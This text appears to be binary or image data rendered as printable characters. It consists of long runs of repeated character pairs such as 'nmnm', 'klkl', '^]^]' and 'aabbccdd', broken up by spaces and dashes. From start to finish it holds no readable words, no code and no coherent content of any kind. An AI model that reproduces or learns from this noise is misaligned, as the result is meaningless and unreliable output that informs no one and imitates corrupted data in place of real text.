nmklklklklhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmkkkkkklkhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{zyxwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwvuvuvutsrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmkkkklklkhghghghgfefefefebabababa`_`_`_`_^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmlklkjijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgfefedcdcbabababa`_`_`_`_^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_^]^]^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ^]^]^]^]\[\[ZYZYXWXWXWXWTSTSTSTSQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQQQQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7777778765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSQQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMLKJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEDCDCDCBABABABA@?@?@?@?<;<;<;<;7777787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?>=>=>=<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;7878787743434343212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;7777878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787774343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;777878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - ^]^]\[\[ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[ZYZYZYZYXWXWVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;:9787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - \[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:9787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - \[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:9787877774343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!   - - - - \[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:9778787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVUTSTSRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGFEFEFEDCDCDCDCBABABABA>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVURQRQQQQQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBA@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878777774343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVURQQQQQQRPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVUQQQQQQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - \[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - \[\[\[\[ZYZYXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - - \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPONMNMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - \[\[\[\[XWXWXWXWVUVUVUVUQQQQQRQRNMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - \[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKJIHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    \[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    \[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCBABABA@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    \[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    \[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!      \[\[\[\[XWXWXWXWVUVUVUVUQQQQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        \[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        \[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:987878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#        \[\[\[\[XWXWXWXWTSTSTSTSRQRQRQQQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8777777865656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#        \[\[\[\[XWXWXWXWTSTSTSTSQQQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        \[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        aabbccddAABBCCDDDDCCBBAA]]^^__``TTSSRRQQ``aabbcc@@AABBCC ggffeedd::;;<<==wwvvuutt__``aabb''(())**221100//ooppqqrreeffgghhEEFFGGHH@@??>>==aabbccdd - - PPOONNMMddeeffggDDEEFFGG - - ccbbaa``>>??@@AAssrrqqppccddeeff++,,--....--,,++ssttuuvviijjkkllIIJJKKLL <<;;::99eeffgghh LLKKJJIIhhiijjkkHHIIJJKK__^^]]\\BBCCDDEEoonnmmllgghhiijj//001122**))((''wwxxyyzzmmnnooppMMNNOOPP!!""##$$88776655iijjkkllHHGGFFEEqqrrssttLLMMNNOO[[ZZYYXXFFGGHHIIkkjjiihhkkqqrrss33445566&&%%$$##~~}}||{{{{||}}~~qqrrssttQQWWXXYY%%&&''((44332211mmnnooppDDCCBBAAuuvvwwxxPPQQRSTUWWVVUUTTJJKKLLMM ggffeeddttuuvvww778899::""!! zzyyxxwwuuvvwwxxZZ[[\\]]))**++,,00//..--qqrrsstt@@??>>==yyzz{{||VWWXXYYZ SSRRQQPPNNOOPPQQ - - ccbbaa``xxyyzz{{;;<<==>>vvuuttssyyzz{{||^^__``aa--..//00,,++**))uuvvwwxx <<;;::99}}~~Z[[\\]]^ - - OONNMMLLRRSSTTUU__^^]]\\||}}~~??@@AABBrrqqppoo}}~~bbccddee11223344((''&&%%~~}}yyzz{{||!!""##$$88776655^__``aabKKJJIIHHVVWWXXYY[[ZZYYXXCCDDEEFFnnmmllkkffgghhii55667788$$##""!!||{{zzyy}}~~%%&&''((44332211bccddeefGGFFEEDDZZ[[\\]]WWVVUUTTGGHHIIJJjjiihhggjjkkqqrr99::;;<< xxwwvvuu))**++,,00//..--fgghhiijCCBBAA@@^^__``aa SSRRQQPPKKLLMMNN ffeeddcc~~}}ssttuuvv==>>??@@ttssrrqq--..//00,,++**))jkklmnop??>>==<>??@@ttssrrqq}}~~**++,,--//..--,,rrssttuu??>>==<<__``aabb - -RRQQPPOOllkkjjiiQQRRSSTT``__^^]]AABBCCDDppoonnmm..//0011++**))((vvwwxxyy !!;;::9988ccddeeff NNMMLLKKhhggffeeUUVVWWXX\\[[ZZYYEEFFGGHHllkkjjii22334455''&&%%$$~~}}||zz{{||}}""##$$%%77665544gghhiijjJJIIHHGGddccbbaaYYZZ[[\\XXWWVVUUIIJJKKLL hhggffee66778899##""!! {{zzyyxx~~&&''(())33221100~~kkllmmnnFFEEDDCC``__^^]]]]^^__``TTSSRRQQMMNNOOPP - - ddccbbaa::;;<<==wwvvuutt**++,,--//..--,,}}||{{zzooppqqrrBBAA@@??\\[[ZZYYaabbccdd - - PPOONNMMQQRRSSTT``__^^]]>>??@@AAssrrqqpp..//0011++**))((yyxxwwvvssttuuvv>>==<<;;XXWWVVUUeeffgghh LLKKJJIIUUVVWWXX\\[[ZZYYBBCCDDEEoonnmmll22334455''&&%%$$uuttssrrwwxxyyzz !!""::998877TTSSRRQQiijjkkllHHGGFFEEYYZZ[[\\XXWWVVUUFFGGHHIIkkjjiihh66778899##""!! qqkkjjii{{||}}~~##$$%%&&66554433PPOONNMMmmnnooppDDCCBBAA]]^^__``TTSSRRQQ~~}}JJKKLLMM ggffeedd::;;<<==hhggffee''(())**221100//LLKKJJIIqqrrsstt@@??>>==aabbccdd - - PPOONNMM||{{zzyyNNOOPPQQ - - ccbbaa``>>??@@AAddccbbaa++,,--....--,,++HHGGFFEEuuvvwwxx <<;;::99eeffgghh LLKKJJIIxxwwvvuuRRSSTTUU__^^]]\\BBCCDDEE``__^^]]~~}}||{{//001122**))((''DDCCBBAAyyzz{{||!!""##$$88776655iijjkkllHHGGFFEEttssrrqqVVWWXXYY[[ZZYYXXFFGGHHII\\[[ZZYYzzyyxxww33445566&&%%$$##~~}}||{{@@??>>==~~}}||{{}}~~%%&&''((44332211mmnnooppDDCCBBAAkkjjiihhZZ[[\\]]WWVVUUTTJJKKLLMM XXWWQQPPvvuuttss778899::""!! zzyyxxww<<;;::99zzyyxxww))**++,,00//..--qqrrsstt@@??>>==ggffeedd^^__``aa SSRRQQPPNNOOPPQQ - - OONNMMLLrrqqponm;;<<==>>vvuuttss88776655vvuuttss--..//00,,++**))uuvvwwxx <<;;::99ccbbaa``bbccddee - - OONNMMLLRRSSTTUUKKJJIIHHlkkjjiih??@@AABBrrqqppoo44332211rrqqkkjj11223344((''&&%%~~}}yyzz{{||!!""##$$88776655__^^]]\\ffgghhiiKKJJIIHHVVWWXXYYGGFFEEDDhggffeedCCDDEEFFnnmmllkk00//..--iihhggff~~}}||55667788$$##""!!||{{zzyy}}~~%%&&''((44332211[[ZZYYXXjjkkllmmGGFFEEDDZZ[[\\]]CCBBAA@@dccbbaa`GGHHIIJJjjiihhgg,,++**))eeddccbb{{zzyyxx99::;;<< xxwwvvuu))**++,,00//..--WWQQPPOOnnooppqqCCBBAA@@^^__``aa ??>>==77`__^^]]\KKLLMMNN ffeeddcc((''&&%%aa``__^^wwvvuutt==>>??@@ttssrrqq--..//00,,++**))NNMMLLKKrrssttuu??>>==<>??@@>>==7766wwvvuutt**++,,--//..--,,rrssttuu&&%%$$##IIHHGGFF__``aabb - -RRQQPPOOHHGGFFEEa``__^^]QQRRSSTT``__^^]]AABBCCDD55443322ssrrqqpp..//0011++**))((vvwwxxyy !!EEDDCCBBccddeeff NNMMLLKK DDCCBBAA]\\[[ZZYUUVVWWXX\\[[ZZYYEEFFGGHH1100//..oonnmmll22334455''&&%%$$~~}}||zz{{||}}""##$$%%AA@@??>>gghhiijjJJIIHHGG - - @@??>>==YXXWWVUTYYZZ[[\\XXWWVVUUIIJJKKLL --,,++**kkjjiihh66778899##""!! {{zzyyxx~~&&''(())==<;:987kkllmmnnFFEEDDCC - - 77665544SRQQPPOO]]^^__``TTSSRRQQMMNNOOPP - - ))((''&&ggffeedd::;;<<==wwvvuutt**++,,--76655443ooppqqrrBBAA@@?? 33221100NNMMLLKKaabbccdd - - PPOONNMMQQRRSSTT%%$$##ccbbaa``>>??@@AAssrrqqpp..//0011 - -3221100/ssttuuvv>>==<<;;//..--,,JJIIHHGGeeffgghh LLKKJJIIUUVVWWXX__^^]]\\BBCCDDEEoonnmmll22334455 /..--,,+wwxxyyzz !!""::998877++**))((FFEEDDCCiijjkkllHHGGFFEEYYZZ[[\\[[ZZYYXXFFGGHHIIkkjjiihh66778899+**))(('~~}}||{{{{||}}~~##$$%%&&66554433''&&%%$$BBAA@@??mmnnooppDDCCBBAA]]^^__`` - - WWVVUUTTJJKKLLMM ggffeedd::;;<<== - - '&&%%$$#zzyyxxww''(())**221100// ##>>==<;:9qqrrsstt@@??>>==aabbccdd  SSRRQQPPNNOOPPQQ - - ccbbaa``>>??@@AA #"! vvuuttss++,,--....--,,++!!""##$$87766554uuvvwwxx <<;;::99eeffgghh - - OONNMMLLRRSSTTUU__^^]]\\BBCCDDEErrqqppoo//001122**))((''%%&&''((43322110~~}}yyzz{{||!!""##$$88776655iijjkkllKKJJIIHHVVWWXXYY[[ZZYYXXFFGGHHIInnmmllkk33445566&&%%$$##))**++,,0//..--,||{{zzyy}}~~%%&&''((44332211mmnnooppGGFFEEDDZZ[[\\]]WWVVUUTTJJKKLLMMjjiihhgg778899::""!! --..//00 ,++**))(xxwwvvuu))**++,,00//..--qqrrsstt##$$%% - -CCBBAA@@^^__``aa SSRRQQPPNNOOPPQQ##$$ ffeeddcc;;<<==>>11223344 - - - -(''&&%%$ttssrrqq--..//00,,++**))uuvvwwxx&&''(()) ??>>==<>??@@hhggffee99::;;<< xxwwvvuu2233445533221100nnooppqqCCBBAA@@^^__``aa11223344VVUUTTSSKKLLMMNN ++,,--..AABBCCDDddccbbaa==>>??@@ttssrrqq6677==>>//..--,,rrssttuu??>>==<>??@@AA NNMMLLKKSSTTUUVV33445566IIJJKKLL$$%%&&'' - -\\[[ZZYYEEFFGGHHllkkjjiiCCDDEEFF%&&''(()''&&%%$$~~}}||zz{{||}}""##$$%%77665544jjkkllmmBBCCDDEEJJIIHHGGWWXXYYZZ778899::MMNNOOPP(())**++ XXWWVVUUIIJJKKLL hhggffeeGGHHIIJJ)**++,,-##""!! {{zzyyxx~~&&''(())33221100nnooppqqFFGGHHIIFFEEDDCC[[\\]]^^;;<<==>>QQRRSSTT,,--..//TTSSRRQQMMNNOOPP - - ddccbbaaKKLLMMNN-..//001wwvvuutt**++,,--//..--,,rrssttuuJJKKLLMMBBAA@@??__``aabb - -??@@AABBUUVVWWXX00112233 - - PPOONNMMQQRRSSTT``__^^]]OOPPQQWW12233445ssrrqqpp..//0011++**))((vvwwxxyyNNOOPPQQ>>==<<;;ccddeeff CCDDEEFFYYZZ[[\\44556677 LLKKJJIIUUVVWWXX\\[[ZZYYXXYYZZ[[5667789:oonnmmll22334455''&&%%$$~~}}||zz{{||}}WWXXYYZZ !!""::998877gghhiijjGGHHIIJJ]]^^__``==>>??@@HHGGFFEEYYZZ[[\\XXWWVVUU\\]]^^__;<==>>??kkjjiihh66778899##""!! {{zzyyxx~~[[\\]]^^##$$%%&&66554433kkllmmnnKKLLMMNNOOPPQQRR - - bbaa``__<<==>>??uuttssrr,,--..//--,,++**{{zzyyxxqqrrsstt@@??>>==aabbccdd - - PPOONNMM||{{zzyyNNOOPPQQ - - ccbbaa``>>??@@AAaa``__^^kkjjiihhSSTTUUVV^^]]\\[[@@AABBCCqqppoonn00112233))((''&&wwvvuuttuuvvwwxx 